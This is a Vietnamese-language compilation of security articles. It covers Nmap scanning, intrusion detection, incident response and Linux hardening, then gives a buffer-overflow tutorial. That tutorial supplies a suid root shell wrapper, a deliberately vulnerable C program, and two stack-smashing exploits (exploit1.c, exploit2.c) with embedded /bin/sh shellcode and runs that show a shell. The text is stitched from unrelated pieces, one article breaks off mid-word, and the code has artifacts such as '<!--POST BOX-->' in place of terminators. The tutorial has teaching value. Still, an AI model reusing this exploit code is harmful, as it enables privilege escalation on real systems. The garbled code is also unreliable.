Thâm nhập vào một hệ thống bất kỳ nào cũng cần có sự chuẩn bị. Hacker phải xác định ra máy đích và tìm xem những port nào đang mở trước khi hệ thống có thể bị xâm phạm. Quá trình này thường được thực hiện bởi các công cụ dò tìm (scanning tool), kỹ thuật chính để tìm ra máy đích và các port đang mở trên đó. Dò tìm là bước đầu tiên hacker sẽ sử dụng trước khi thực hiện tấn công. Bằng cách sử dụng các công cụ dò tìm như Nmap, hacker có thể rà khắp các mạng để tìm ra các máy đích có thể bị tấn công. Một khi xác định được các máy này, kẻ xâm nhập có thể dò tìm các port đang lắng nghe. Nmap cũng sử dụng một số kỹ thuật cho phép xác định khá chính xác loại máy đang kiểm tra.

Bằng cách sử dụng những công cụ của chính các hacker thường dùng, người qun trị hệ thống có thể nhìn vào hệ thống của mình từ góc độ của các hacker và giúp tăng cường tính an toàn của hệ thống. Có rất nhiều công cụ dò tìm có thể sử dụng như: Nmap, strobe, sscan, SATAN, ...

Dưới đây là một ví dụ sử dụng Nmap:

QUOTE
# nmap -sS -O 192.168.1.200
Starting nmap V. 2.54 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on comet (192.168.1.200):
Port State Protocol Service
7 open tcp echo
19 open tcp chargen
21 open tcp ftp
...
TCP Sequence Prediction: Class=random positive increments
Difficulty=17818 (Worthy challenge)
Remote operating system guess: Linux 2.2.13
Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds  


Tuy nhiên, sử dụng các công cụ này không thể thay thế cho một người quản trị có kiến thức. Bởi vì việc dò tìm thường dự báo một cuộc tấn công, các site nên ưu tiên cho việc theo dõi chúng. Với các công cụ dò tìm, các nhà quản trị hệ thống mạng có thể phát hiện ra những gì mà các hacker có thể thấy khi dò trên hệ thống của mình.


PHÁT HIỆN SỰ XÂM NHẬP QUA MẠNG

Nếu hệ thống của bạn có kết nối vào internet, bạn có thể trở thành một mục tiêu bị dò tìm các lỗ hổng về bảo mật. Mặc dù hệ thống của bạn có ghi nhận điều này hay không thì vẫn không đủ để xác định và phát hiện việc dò tìm này. Một vấn đề cần quan tâm khác là các cuộc tấn công gây ngừng dịch vụ (Denial of Services - DoS), làm thế nào để ngăn ngừa, phát hiện và đối phó với chúng nếu bạn không muốn hệ thống của bạn ngưng trệ.

Hệ thống phát hiện xâm nhập qua mạng (Network Intrusion Detection System - NIDS) theo dõi các thông tin truyền trên mạng và phát hiện nếu có hacker đang cố xâm nhập vào hệ thống (hoặc gây gây ra một vụ tấn công DoS). Một ví dụ điển hình là hệ thống theo dõi số lượng lớn các yêu cầu kết nối TCP đến nhiều port trên một máy nào đó, do vậy có thể phát hiện ra nếu có ai đó đang thử một tác vụ dò tìm TCP port. Một NIDS có thể chạy trên máy cần theo dõi hoặc trên một máy độc lập theo dõi toàn bộ thông tin trên mạng.

Các công cụ có thể được kết hợp để tạo một hệ thống phát hiện xâm nhập qua mạng. Chẳng hạn dùng tcpwrapper để điều khiển, ghi nhận các dịch vụ đã được đăng ký. Các chương trình phân tích nhật ký hệ thống, như swatch, có thể dùng để xác định các tác vụ dò tìm trên hệ thống. Và điều quan trọng nhất là các công cụ có thể phân tích các thông tin trên mạng để phát hiện các tấn công DoS hoặc đánh cắp thông tin như tcpdump, ethereal, ngrep, NFR (Network Flight Recorder), PortSentry, Sentinel, Snort, ...

Khi hiện thực một hệ thống phát hiện xâm nhập qua mạng bạn cần phải lưu tâm đến hiệu suất của hệ thống cũng như các chính sách bảo đảm sự riêng tư.

KIỂM TRA KHẢ NĂNG BỊ XÂM NHẬP

Kiểm tra khả năng bị xâm nhập liên quan đến việc xác định và sắp xếp các lỗ hổng an ninh trong hệ thống bằng cách dùng một số công cụ kiểm tra. Nhiều công cụ kiểm tra cũng có khả năng khai thác một số lỗ hổng tìm thấy để làm rõ quá trình thâm nhập trái phép sẽ được thực hiện như thế nào. Ví dụ, một lỗi tràn bộ đệm của chương trình phục vụ dịch vụ FTP có thể dẫn đến việc thâm nhập vào hệ thống với quyền ‘root’. Nếu người quản trị mạng có kiến thức về kiểm tra khả năng bị xâm nhập trước khi nó xảy ra, họ có thể tiến hành các tác vụ để nâng cao mức độ an ninh của hệ thống mạng.

Có rất nhiều các công cụ mạng mà bạn có thể sử dụng trong việc kiểm tra khả năng bị xâm nhập. Hầu hết các quá trình kiểm tra đều dùng ít nhất một công cụ tự động phân tích các lỗ hổng an ninh. Các công cụ này thăm dò hệ thống để xác định các dịch vụ hiện có. Thông tin lấy từ các dịch vụ này sẽ được so sánh với cơ sở dữ liệu các lỗ hổng an ninh đã được tìm thấy trước đó.

Các công cụ thường được sử dụng để thực hiện các kiểm tra loại này là ISS Scanner, Cybercop, Retina, Nessus, cgiscan, CIS, ...Kiểm tra khả năng bị xâm nhập cần được thực hiện bởi những người có trách nhiệm một cách cẩn thận. Sự thiếu kiến thức và sử dụng sai cách có thể sẽ dẫn đến hậu quả nghiêm trọng không thể lường trước được.

ĐỐI PHÓ KHI HỆ THỐNG CỦA BẠN BỊ TẤN CÔNG

Gần đây, một loạt các vụ tấn công nhắm vào các site của những công ty lớn như Yahoo!, Buy.com, E-Bay, Amazon và CNN Interactive gây ra những thiệt hại vô cùng nghiêm trọng. Những tấn công này là dạng tấn công gây ngừng dịch vụ "Denial-Of-Service" mà được thiết kế để làm ngưng hoạt động của một mạng máy tính hay một website bằng cách gửi liên tục với số lượng lớn các dữ liệu tới mục tiêu tấn công khiến cho hệ thống bị tấn công bị ngừng hoạt động, điều này tương tự như hàng trăm người cùng gọi không ngừng tới 1 số điện thoại khiến nó liên tục bị bận.

Trong khi không thể nào tránh được mọi nguy hiểm từ các cuộc tấn công, chúng tôi khuyên bạn một số bước mà bạn nên theo khi bạn phát hiện ra rằng hệ thống của bạn bị tấn công. Chúng tôi cũng đưa ra một số cách để giúp bạn bảo đảm tính hiệu qủa của hệ thống an ninh và những bước bạn nên làm để giảm rủi ro và có thể đối phó với những cuộc tấn công.

Nếu phát hiện ra rằng hệ thống của bạn đang bị tấn công, hãy bình tĩnh. Sau đây là những bước bạn nên làm:

Tập hợp 1 nhóm để đối phó với sự tấn công:
- Nhóm này phải bao gồm những nhân viên kinh nghiệm, những người mà có thể giúp hình thành một kế hoạch hành động đối phó với sự tấn công.

Dựa theo chính sách và các quy trình thực hiện về an ninh của công ty, sử dụng các bước thích hợp khi thông báo cho mọi người hay tổ chức về cuộc tấn công.
Tìm sự giúp đỡ từ nhà cung cấp dịch vụ Internet và cơ quan phụ trách về an ninh máy tính:
- Liên hệ nhà cung cấp dịch vụ Internet của bạn để thông báo về cuộc tấn công. Có thể nhà cung cấp dịch vụ Internet của bạn sẽ chặn đứng được cuộc tấn công.

- Liên hệ cơ quan phụ trách về an ninh máy tính để thông báo về cuộc tấn công

Tạm thời dùng phương thức truyền thông khác (chẳng hạn như qua điện thoại) khi trao đổi thông tin để đảm bo rằng kẻ xâm nhập không thể chặn và lấy được thông tin.
Ghi lại tất cả các hoạt động của bạn (chẳng hạn như gọi điện thoại, thay đổi file, ...)
Theo dõi các hệ thống quan trọng trong qúa trình bị tấn công bằng các phần mềm hay dịch vụ phát hiện sự xâm nhập (intrusion detection software/services). Điều này có thể giúp làm giảm nhẹ sự tấn công cũng như phát hiện những dấu hiệu của sự tấn công thực sự hay chỉ là sự quấy rối nhằm đánh lạc hướng sự chú ý của bạn(chẳng hạn một tấn công DoS với dụng ý làm sao lãng sự chú ý của bạn trong khi thực sự đây là một cuộc tấn công nhằm xâm nhập vào hệ thống của bạn).
- Sao chép lại tất cả các files mà kẻ xâm nhập để lại hay thay đổi (như những đoạn mã chương trình, log file, ...)

Liên hệ nhà chức trách để báo cáo về vụ tấn công.

Những bước bạn nên làm để giảm rủi ro và đối phó với sự tấn công trong tương lai :

Xây dựng và trao quyền cho nhóm đối phó với sự tấn công
Thi hành kiểm tra an ninh và đánh giá mức độ rủi ro của hệ thống
Cài đặt các phần mềm an toàn hệ thống phù hợp để giảm bớt rủi ro
Nâng cao khả năng của mình về an toàn máy tính
Các bước kiểm tra để giúp bạn bảo đảm tính hiệu quả của hệ thống an ninh

Kiểm tra hệ thống an ninh mới cài đặt : chắc chắn tính đúng đắn của chính sách an ninh hiện có và cấu hình chuẩn của hệ thống.
Kiểm tra tự động thường xuyên : để khám phá sự “viếng thăm” của những hacker hay những hành động sai trái của nhân viên trong công ty.
Kiểm tra ngẫu nhiên: để kiểm tra chính sách an ninh và những tiêu chuẩn, hoặc kiểm tra sự hiện hữu của những lỗ hổng đã được phát hiện (chẳng hạn những lỗi được thông báo từ nhà cung cấp phần mềm)
Kiểm tra hằng đêm những file quan trọng: để đánh giá sự toàn vẹn của những file và cơ sở dữ liệu quan trọng
Kiểm tra các tài khoản người dùng: để phát hiện các tài khoản không sử dụng, không tồn tại, ...
Kiểm tra định kỳ để xác định trạng thái hiện tại của hệ thống an ninh của bạn


QUOTE
BẠN CÓ THỂ XEM THÊM THÔNG TIN TẠI

Các trung tâm giúp đối phó tai nạn trên Internet

http://www.cert.org/
http://www.first.org/
http://ciac.llnl.gov/
http://www.cert.dfn.de/eng/csir/europe/certs.html
Một số website về an toàn máy tính

http://www.cs.purdue.edu/coast/
http://www.linuxsecurity.com/
http://www.securityportal.com/
http://www.tno.nl/instit/fel/intern/wkinfsec.html
http://www.icsa.net/
http://www.sans.org/
http://www.iss.com/
http://www.securityfocus.com/
Thông tin về an toàn từ nhà cung cấp

http://www.calderasystems.com/news/security/
http://www.debian.org/security/
http://www.redhat.com/cgi-bin/support/
Một số sách về an toàn máy tính

Actually Useful Internet Security Techniques by Larry J. Hughes Jr.
Applied Cryptography: Protocols, Algorithms and Source Code in C by Bruce Schneier
Building Internet Firewall by Brent Chapman & Elizabeth D. Zwicky
Cisco IOS Network Security by Mike Kaeo
Firewalls and Internet Security by Bill Cheswick & Steve Bellovin
Halting the Hacker: A practical Guide To Computer Security by Donal L. Pipkin
Intrusion Detection: An Introduction to Internet Surveillance, Correlation, Traps, Trace Back and Response by Edward G. Amoroso
Intrusion Detection: Network Security Beyond the Firewall by Terry Escamilla
Linux Security by Jonh S. Flowers  


Hiện nay, trên môi trường máy chủ, Linux ngày càng chiếm một vị trí quan trọng. Nguyên nhân khiến Linux dần trở thành một đối thủ tiềm năng của hệ điều hành Microsoft Windows là do tính ổn định, độ linh hoạt và khả năng chịu tải lớn: đây là những đặc điểm quan trọng hàng đầu của một hệ thống máy phục vụ.

Tính bảo mật tốt cũng là một trong những điểm nổi bật của Linux. Tuy nhiên, để một hệ thống Linux có khả năng chống lại các cuộc tấn công, người quản trị cũng cần phải nắm được một số kỹ năng nhất định. Trong bài viết này, chúng tôi xin giới thiệu một số kinh nghiệm nhằm nâng cao tính an toàn cho một hệ thống Linux (để dễ theo dõi cho bạn đọc, chúng tôi sẽ minh hoạ bằng RedHat, một phiên bản Linux rất phổ biến ở Việt Nam và trên thế giới).

1.1. Loại bỏ tất cả các account và nhóm đặc biệt

Ngay sau khi cài đặt Linux, người quản trị nên xoá bỏ tất cả các account và nhóm (group) đã được tạo sẵn trong hệ thống nhưng không có nhu cầu sử dụng, ví dụ như lp, sync, shutdown, halt, news, uucp, operator, games, gopher, v.v... (Tuy nhiên bạn đọc cần biết rõ những account và nhóm nào không cần cho hệ thống của mình rồi hãy xoá)

Thực hiện việc xoá bỏ account với lệnh :

QUOTE
# userdel  


Ví dụ, nếu không có nhu cầu về in ấn trên hệ thống, có thể xoá account lp như sau:

QUOTE
# userdel lp  



Tương tự như vậy, có thể thực hiện việc xoá bỏ các nhóm không cần thiết với lệnh

QUOTE
# groupdel  


2.2. Che giấu file chứa mật khẩu

Từ lịch sử xa xưa của Unix và cả Linux, mật khẩu của toàn bộ các account đã từng được lưu ngay trong file /etc/password, file có quyền đọc bởi tất cả các account trong hệ thống! Đây là một kẽ hở lớn cho các kẻ phá hoại: Mặc dù các mật khẩu đều được mã hoá, nhưng việc giải mã ngược là có thể thực hiện được (và có thể thực hiện khá dễ dàng, đặc biệt vì cơ chế mã hoã mật khẩu không phải là khó phá và ngày nay khả năng tính toán và xử lý của máy tính rất mạnh). Vì lí do trên, gần đây các nhà phát triển Unix và Linux đã phải đặt riêng mật khẩu mã hoá vào một file mà chỉ có account root mới đọc được: file /etc/shadow. (Khi sử dụng phương pháp này, để đảm bảo tính tương thích, nơi vốn đặt mật khẩu trong file /etc/password người ta đánh dấu "x")

Nếu bạn đọc đang sử dụng các phiên bản RedHat gần đây (ví dụ RedHat 6.x hay 7.x) thì nhớ chọn lựa Enable the shadow password khi cài đặt RedHat để sử dụng tính năng che giấu mật khẩu này (Cũng thật may vì chọn lựa này là mặc định trong hầu hết các phiên bản Linux đang sử dụng rộng rãi hiện nay)

3.3. Tự động thoát khỏi shell

Người quản trị hệ thống rất hay quên thoát ra khỏi dấu nhắc shell khi kết thúc công việc. Bản thân tôi cũng đã từng nhiều lần khi đang thực hiện việc quản trị với account root thì bỏ đi vì một số công việc khác. Thật nguy hiểm nếu lúc đó có một kẻ phá hoại ở đó: Kẻ này có thể dễ dàng có quyền truy xuất hệ thống ở mức cao nhất mà chẳng cần tốn một chút công sức nào cả.

Để giảm nguy cơ này, người quản trị nên cài đặt tính năng tự động thoát ra khỏi shell khi không có sự truy xuất nào trong một khoảng thời gian định trước bằng cách đặt một tham số quy định khoảng thời gian hệ thống vẫn duy trì dấu nhắc shell.

Muốn cài đặt tham số này, người sử dụng biến môi trường TMOUT và gán cho nó một giá trị số thể hiện khoảng thời gian tính bằng giây hệ thống vẫn duy trì dấu nhắc. Để thực hiện điều này cho tất cả các account trong hệ thống, cách đơn giản nhất là đặt nó vào file /etc/profile dòng lệnh sau: (giả sử ta đặt khoảng thời gian là 600 giây)

TMOUT=600

Như vậy là nếu trong khoảng 10 phút người sử dụng không truy xuất shell, shell sẽ tự động thoát ra. Tuy nhiên cần chú ý: Mẹo này sẽ không "ổn" nếu lúc đó người dùng đang chạy một chương trình nào đó như vi hay mc,... Có nghĩa là người dùng phải đang làm việc trực tiếp với shell chứ không phải với bất kỳ một chương trình nào khác.

4.4. Loại bỏ các dịch vụ không sử dụng
Một điều khá nguy hiểm là sau khi cài đặt, hệ thống tự động bật chạy khá nhiều dịch vụ (và đa số là các dịch vụ không mong muốn), dẫn tới tốn tài nguyên và gây nên nhiều nguy cơ về bảo mật. Người quản trị nên loại bỏ ngay lập tức các dịch vụ không dùng tới ngay sau khi cài máy. Hoặc đơn giản bằng cách xoá bỏ các gói phần mềm/dịch vụ không sử dụng (qua công cụ quản trị gói phần mềm rpm của RedHat) hoặc sử dụng công cụ ntsysv để duyệt xem tất cả các dịch vụ đang cài đặt rồi vô hiệu hoá những dịch vụ không cần thiết (bằng cách bỏ đánh dấu các dịch vụ không sử dụng với phím Space). Sau khi thoát ra khỏi ntsysv thì khởi động lại máy: các dịch vụ không mong muốn sẽ không chạy nữa.

5.5. Không tiết lộ thông tin về hệ thống qua telnet
Dịch vụ cho phép truy xuất hệ thống từ xa telnet có khả nǎng tiết lộ thông tin về hệ thống, dễ tạo điều kiện cho những kẻ phá hoại tấn công dựa vào những điểm yếu đã biết. Điều này rất dễ nhận thấy: Mọi người dùng kết nối từ xa vào dịch vụ telnet đều nhận được thông tin về tên máy, phiên bản Linux và phiên bản của nhân (kernel) của máy chủ.

Để tránh điều này, ta cần thực hiện việc kích hoạt telnetd (telnet server) với tham số -h. Do các phiên bản RedHat 7.x khi chạy telnetd không còn sử dụng inetd nữa (mà sử dụng xinetd - một phiên bản nâng cấp và có nhiều cải tiến so với inetd) nên cách cấu hình lại telnetd sẽ khác nhau tuỳ theo phiên bản RedHat đang sử dụng.

+ Với các phiên bản RedHat 6.x và trước đó, thực hiện các bước sau:

Trong file /etc/inetd.conf, thay đổi dòng

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetdchuyển thành :

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h

Tiếp theo, khởi động lại inetd bằng câu lệnh:


QUOTE
# /etc/rc.d/init.d/inetd restart  


+ Với các phiên bản RedHat 7.x, thực hiện bước sau:

Trong file
QUOTE
/etc/xinetd.d/telnet  


, thêm chọn lựa:


QUOTE
server_args = -h  


File trên sẽ có dạng như sau;

QUOTE
service telnet
{
disable = yes
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
server_args = -h
}  


Tiếp theo, khởi động lại xinetd bằng câu lệnh:

QUOTE
# /etc/rc.d/init.d/xinetd restart  



6.6. Tránh sử dụng các dịch vụ không mã hoá thông tin trên đường truyền

Mặc dù ở trên chúng tôi đã trình bày cách ngưng dịch vụ telnet tiết lộ thông tin, nhưng chúng tôi xin có lời khuyên: Tuyệt đối tránh sử dụng những dịch vụ kiểu như telnet, ftp (ngoại trừ ftp anonymous) vì những dịch vụ này hoàn toàn không hề mã hoá mật khẩu khi truyền qua mạng. Bất kỳ một kẻ phá hoại nào cũng có thể dễ dàng "tóm" được mật khẩu của bạn bằng những công cỠ
Tác giả: dientinh

Khai thác lỗi tràn bộ đệm

1. Quyền root và chương trình setuid/setgid
Trên các hệ điều hành đa người dùng nói chung và UNIX nói riêng, thiết kế truyền thống cho phép user root (superuser) có quyền tối cao có thể thực hiện mọi thao tác trên hệ thống. Hơn nữa, có một số thao tác đòi hỏi buộc phải có quyền root mới có thể thực hiện được, ví dụ thay đổi mật khẩu (phải cập nhật file /etc/passwd). Để người dùng bình thường có thể thực hiện được các thao tác này, hệ thống UNIX cung cấp một cơ chế thiết lập quyền thực tế của tiến trình đang thực thi thông qua các hàm thiết lập quyền như setuid()/setgid(), seteuid()/setegid(), setruid()/setrgid(). Quyền thực tế sẽ được hệ thống tự động thiết lập thông qua bit thuộc tính suid/sgid của file chương trình. Ví dụ chương trình passwd được suid root:

-r-s--x--x 1 root root 12244 Feb 8 2000 /usr/bin/passwd

Khi user bình thường thực thi chương trình, quyền thực tế có được sẽ là quyền của người sở hữu (owner) file, ở đây là root. Do yêu cầu sử dụng, trên hệ thống UNIX thường có nhiều file chương trình được thiết lập thuộc tính suid (cho owner, group). Ví dụ sau sẽ minh hoạ rõ hơn điều này:

/* suidsh.c */
void main() {
setuid(0);
system("/bin/sh");
}

[SkZ0@gamma bof]$ gcc -o suidsh suidsh.c
[SkZ0@gamma bof]$ su
Password:
# chown root.root suidsh
# chmod 4755 suidsh
# exit
[SkZ0@gamma bof]$ ls -l suidsh
-rwsr-xr-x 1 root root 13637 Mar 26 15:54 suidsh
[SkZ0@gamma bof]$ id
uid=501(SkZ0) gid=501(SkZ0) groups=501(SkZ0)
[SkZ0@gamma bof]$ ./suidsh
bash# id
uid=0(root) gid=501(SkZ0) groups=501(SkZ0)

Có thể thấy, nếu chương trình suid/sgid bị lỗi bảo mật, hacker sẽ tận dụng điều này để điều khiển chương trình thực hiện mã lệnh bất kỳ trên hệ thống với quyền cao hơn và thậm chí với quyền cao nhất root. Đó chính là mục đích của việc khai thác các lỗ hổng bảo mật trên máy tại chỗ (local).

2. Chương trình bị tràn bộ đệm
Để minh hoạ cách tổ chức và chèn shellcode vào chương trình bị lỗi, ta sẽ sửa lại một chút chương trình vuln.c đã ví dụ ở phần 1:

/* vuln1.c */
int main(int argc, char **argv)
{
char buf[500];
if (argc>1) {
strcpy(buf, argv[1]);
printf("%s\n", buf);
}
}

Kích thước của bộ đệm buf là 500 byte. Từ những trình bày ở phần trước, để khai thác lỗi tràn bộ đệm trong chương trình vuln1.c chúng ta chỉ cần ghi đè giá trị của "con trỏ lệnh bảo lưu" (saved instruction pointer) được lưu trên stack bằng địa chỉ mã lệnh mong muốn, ở đây chính là địa chỉ bắt đầu của shellcode. Như vậy chúng ta cần phải sắp xếp shellcode ở đâu đó trên bộ nhớ stack và xác định địa chỉ bắt đầu của nó.


3. Tổ chức shellcode trên bộ nhớ
Vấn đề của việc tổ chức shellcode trên bộ nhớ là làm thế nào để chương trình khai thác lỗi có thể xác định được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Thông thường, ta không thể biết một cách chính xác địa chỉ của bộ đệm trong chương trình bị lỗi (phụ thuộc vào biến môi trường, tham số khi thực thi), do đó ta sẽ xác định một cách gần đúng. Điều này có nghĩa chúng ta phải tổ chức bộ đệm chứa shellcode sao cho khi bắt đầu ở một địa chỉ có thể lệch so với địa chỉ chính xác mà shellcode vẫn thực thi không hề bị ảnh hưởng. Lệnh máy NOP (No OPeration) giúp ta đạt được điều này. Khi gặp một lệnh NOP, CPU sẽ không làm gì cả ngoài việc tăng con trỏ lệnh đến lệnh kế tiếp.

Như vậy, chúng ta sẽ lấp đầy phần đầu của bộ đệm bằng các lệnh NOP, kế đó là shellcode. Hơn nữa, để không phải tính toán chính xác vị trí lưu con trỏ lệnh bảo lưu trên stack, chúng ta sẽ chỉ đặt shellcode ở khoảng giữa của bộ đệm, phần còn lại sẽ chứa toàn các giá trị địa chỉ bắt đầu của shellcode. Cuối cùng, bộ đệm chứa shellcode sẽ có dạng:

Hình 1: Tổ chức shellcode trên bộ nhớ

Hình sau mô tả trạng thái của stack trước và sau khi tràn bộ đệm xảy ra.

Hình 2: Trạng thái stack trước và sau khi tràn bộ đệm
Before After

Có một vấn đề cũng cấn lưu ý ở đây là sự sắp xếp (alignment) biến trên stack. Giá trị địa chỉ có độ dài 4 byte (32 bit), vì vậy khi được sắp vào stack không phải lúc nào cũng chính xác như mong muốn. Ở phần trước chúng ta đã biết stack sử dụng đơn vị là word có độ dài 4 byte, do đó độ lệch do sắp không đúng sẽ là 1, 2 hoặc 3 byte.

Hình 3: Các khả năng sắp xếp biến trên stack

Chỉ có một trường hợp sắp xếp đúng sẽ làm việc, các trường hợp khác sẽ dẫn đến báo lỗi "segmentation violation" hoặc "illegal instruction", tuy nhiên chúng ta có thể sử dụng phương pháp "thử và sai" để tìm được sự sắp xếp đúng trong bộ nhớ không mấy khó khăn.


4. Xác định địa chỉ shellcode
Vấn đề quan trọng nhất là làm thế nào để "đoán trước" được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Nhờ cách tổ chức shellcode với các NOP ở trên, địa chỉ này chỉ cần gần đúng sao cho rơi vào khoảng giữa các lệnh NOP trên bộ đệm shellcode.

Một điểm đặc biệt là mọi chương trình khi thực thi đều có địa chỉ bắt đầu stack như nhau (lưu ý: trên không gian địa chỉ ảo. Ví dụ: giá trị này trên Linux là 0xbfffffff, trên FreeBSD là 0xbfbfffff) và thường các chương trình ít khi push vào stack ngay một lúc vài ngàn byte. Do đó, ta có thể đoán được địa chỉ bắt đầu của bộ đệm chứa shellcode trên stack trong chương trình bị lỗi dựa vào độ lệch so với địa chỉ đỉnh stack hiện tại của chương trình khai thác lỗi. Độ lệch này có thể mang giá trị âm hoặc giá trị dương (xem lại phần 1).

Đoạn chương trình sau sẽ in ra giá trị của con trỏ stack SP:

/* sp.c */
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main() {
printf("0x%x\n", get_sp());
}

[SkZ0@gamma bof]$ gcc -o sp sp.c
[SkZ0@gamma bof]$ ./sp
0xbffffa50
[SkZ0@gamma bof]$

Địa chỉ gần đúng của bộ đệm chứa shellcode sẽ được xác định theo công thức:

SP +(-) OFFSET


5. Viết chương trình khai thác lỗi tràn bộ đệm
Chúng ta đã biết những gì cần thiết để khai thác lỗi tràn bộ đệm, bây giờ cần phải kết hợp lại. Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm tràn (như ở phần trên), xác định địa chỉ trả về (RET) và độ lệch do sắp biến, xác định địa chỉ của bộ đệm chứa shellcode, cuối cùng gọi thực thi chương trình bị tràn bộ đệm.

Có một số cách để tổ chức shellcode trên bộ nhớ và truyền cho chương trình bị lỗi, trước tiên chúng ta sẽ xem xét phương pháp cơ bản nhất: shellcode được truyền thông qua bộ đệm của chương trình bị lỗi. Phương pháp này không phải là cách dễ dàng nhất để khai thác lỗi tràn bộ đệm trên máy tại chỗ (local) nhưng đây là cách tổng quát nhất để khai thác lỗi tràn bộ đệm tại chỗ cũng như từ xa.


Xem trong ví dụ trên, shellcode sẽ được tổ chức và truyền qua bộ đệm buf của chương trình vuln1.c

5.1. Truyền shellcode qua bộ đệm
Chương trình khai thác lỗi tràn bộ đệm sau của chúng ta sẽ nhận 3 giá trị tham số: tên chương trình bị lỗi, kích thước bộ đệm dùng để làm tràn và giá trị độ dời so với con trỏ stack hiện tại (ví trị dự đoán của bộ đệm chứa shellcode).

/* exploit1.c */
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90 // mã asm của lệnh NOP

char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc < 2) {
printf("Usage: %s target [bsize offset]\n", argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
/* lấp đầy bộ đệm làm tràn với các địa chỉ của shellcode */
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

/* lấp đầy nửa đầu vói các lệnh NOP */
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

/* tiếp theo là shellcode */
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '<!--POST BOX-->';

execl(argv[1],argv[1],buff,NULL);
}


Chương trình trên cấp phát bộ đệm dùng để làm tràn trên heap, lý do tại sao xin dành cho người đọc tự trả lời.

Kích thước của bộ đệm dùng làm tràn lớn hơn so với bộ đệm bị tràn khoảng 100 byte là tốt nhất. Khi đó bộ đệm làm tràn có phần đầu khá lớn chứa các NOP, phần cuối chứa shellcode và địa chỉ đủ để làm tràn và ghi đè lên giá trị địa chỉ trả về (RET).

Hãy thử chương trình khai thác lỗi vừa viết.

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600
Using address: 0xbffffa1c

( ... )

bash$

Thử với giá trị độ dời:

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 100
Using address: 0xbffff9a8

( ... )

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 -100
Using address: 0xbffffa70

( ... )

bash$

5.2. Truyền shellcode qua biến môi trường
Bây giờ, hãy quay trở lại với ví dụ đầu tiên, chương trình vuln.c (xem phần 1). Có thể thấy chương trình exploit1.c không thể khai thác được lỗi tràn bộ đệm trong vuln.c do kích thước bộ đệm bị tràn quá nhỏ (16 byte) không đủ để đặt vừa shellcode. Khi đó địa chỉ trả về sẽ bị ghi đè bởi các mã lệnh thay vì giá trị địa chỉ cần nhảy đến. Để vượt qua trở ngại này, chúng ta sẽ dùng một "bộ đệm" khác để lưu trữ shellcode. Thông thường có thể dùng biến môi trường (environment) hoặc một tham số dòng lệnh chương trình (argument) để chứa shellcode do các biến này đều được cấp trên stack, tuy nhiên sử dụng biến môi trường là phương pháp đơn giản và hiệu quả hơn. Với shellcode được chứa trong biến môi trường, bộ đệm dùng để làm tràn chỉ đơn giản chứa toàn giá trị địa chỉ (phỏng đoán) của biến môi trường chứa shellcode.

Chương trình exploit1.c được sửa lại như sau (có thêm một tham số là kích thước của bộ đệm chứa shellcode).

/* exploit2.c */
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90 // mã asm của lệnh NOP

char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc < 2) {
printf("Usage: %s target [bsize offset eggsize]\n", argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);
if (argc > 4) eggsize = atoi(argv[4]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);

/* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

/* NOP+shellcode được đặt trong biến môi trường */
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '<!--POST BOX-->';
egg[eggsize - 1] = '<!--POST BOX-->';

setenv("EGG", egg, 1);
execl(argv[1],argv[1],buff,NULL);
}

Hãy thử chương trình khai thác lỗi mới:

[SkZ0@gamma bof]$ ./exploit2 ./vuln
Using address: 0xbffffa18

( ... )

bash$

